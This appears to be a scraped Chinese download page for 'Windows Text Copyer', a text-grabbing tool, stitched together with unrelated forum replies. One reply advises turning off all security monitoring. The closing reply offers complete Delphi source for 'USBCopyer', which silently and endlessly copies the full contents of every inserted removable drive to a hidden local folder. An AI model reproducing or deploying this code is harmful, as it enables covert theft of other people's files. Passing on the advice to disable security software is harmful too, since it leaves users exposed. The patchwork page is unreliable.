完美者（wmzhe.com）网站以软件下载为基础，改版后的网站对功能性板块进行扩充，以期能够解决用户在软件使用过程中遇见的所有问题。网站新增了“软件百科”、“锦囊妙技”等频道，可以更好地对用户的软件使用全周期进行更加专业地服务。
Windows Text Copyer是一款能复制窗口按钮文字的工具，以及其它一些无法使用Ctrl+C复制文字的地方，都能复制出来。
网上同类的软件很多，但是都没有这款强大，一般的软件只能抓取窗口上的标签、按钮上的文字而列表框却无法抓取，只有这款软件基本上所有窗口上的文字都能抓取。
"锦囊妙技"栏目是聚合全网软件使用的技巧或者软件使用过程中各种问题的解答类文章，栏目设立伊始，小编欢迎各路软件大神朋友们踊跃投稿，在完美者平台分享大家的独门技巧。
本站文章素材来源于网络，大部分文章作者名称佚失，为了更利于用户阅读和使用，根据需要进行了重新排版和部分改编，本站收录文章只是以帮助用户解决实际问题为目的，如有版权问题请联系小编修改或删除，谢谢合作。
软件大小：269.83 KB
有些网站限制复制，你可以用这个软件复制不能复制的文本。帮你抓取窗口上无法复制的内容,网上同类的软件很多,但是都没有这款强大,一般的软件只能抓取窗口上的标签、按钮上的文字而列表框却无法抓取只有这款软件 基本上所有窗口上的文字都能抓取一些窗口控件中那些不支持通过 CTRL+C 或右键菜单复制文本，Window Text Copier 可以帮助你复制。它支持获取文本有：标准目录树控件、列表控件、列表框、按钮、静态信息、组合框等等但没有万能的软件，不行的话你还是要换其他办法。
Windows Text Copyer 是一款能复制窗口按钮文字的工具，以及其它一些无法使用 Ctrl + C 复制文字的地方，都能复制出来。具体介绍去"小众软件"搜Windows Text Copyer
…看不清。百度压缩过了。你可以用Windows text copyer把窗口文字复制下来。另外你可以关闭所有的安全软件监控，然后重新安装一遍试试。
我可以给你DELPHI代码： program USBCopyer(input,output);uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, shellapi, urlmon, strutils;var existnum:integer; savepath,savepath2:string;//Initprocedure init;var f:text;begin assign(f,'info.dat'); reset(f); readln(f,existnum); readln(f,savepath); close(f);end;procedure core;var errormode:word; bool:boolean; f:text; typenum:integer; i:char; disk:string;//Check Existfunction checkexist(disk:string):boolean;var s,filepath,savedtime:string; f:text;begin s:=formatdatetime('yyyy/mm/dd',now); filepath:=disk+'copy.t'; if fileexists(filepath) then begin assign(f,filepath); reset(f); readln(f,savedtime); close(f); if savedtime=s then result:=true else begin assign(f,filepath);rewrite(f);writeln(f,s);close(f);result:=false;end end else begin assign(f,filepath); rewrite(f); writeln(f,s); close(f); result:=false; end;end;//Copyerprocedure copyer(source,dest:string);var bool:boolean; flag:integer; folder:tsearchrec;begin flag:=findfirst(source+'*.*',faanyfile,folder); while flag=0 do begin if Folder.Attr and FaDirectory <> FaDirectory then begin Copyfile(pchar(source+Folder.Name),pchar(dest+Folder.Name),false); Flag:= FindNext(Folder); end else begin if (Folder.Name <> '.') and (not AnsiContainsText(Folder.Name,'..')) then begin bool:=createdirectory(pchar(dest+folder.name),nil); Copyer(source+Folder.Name + '\',dest+folder.name+'\'); flag:= FindNext(Folder); end else flag:=FindNext(Folder); end; end; //whileend;//Core Mainbeginrepeat init; EConvertError.Create('Not a valid drive ID'); ErrorMode :=SetErrorMode(SEM_FailCriticalErrors); for i:='C' to 'Z' do begin disk:=i+':\'; if DiskSize(Ord(I) - $40) <> -1 then begin typenum:=getdrivetype(pchar(disk)); if (typenum=2) and (checkexist(disk)=false) then begin inc(existnum); savepath2:=savepath+inttostr(existnum); bool:=createdirectory(pchar(savepath2),nil); savepath2:=savepath2+'\'; assign(f,'info.dat'); rewrite(f); writeln(f,existnum); writeln(f,savepath); close(f); copyer(disk,savepath2); end; end; end; until 1=2;end;//Mainbegin init; core;end.
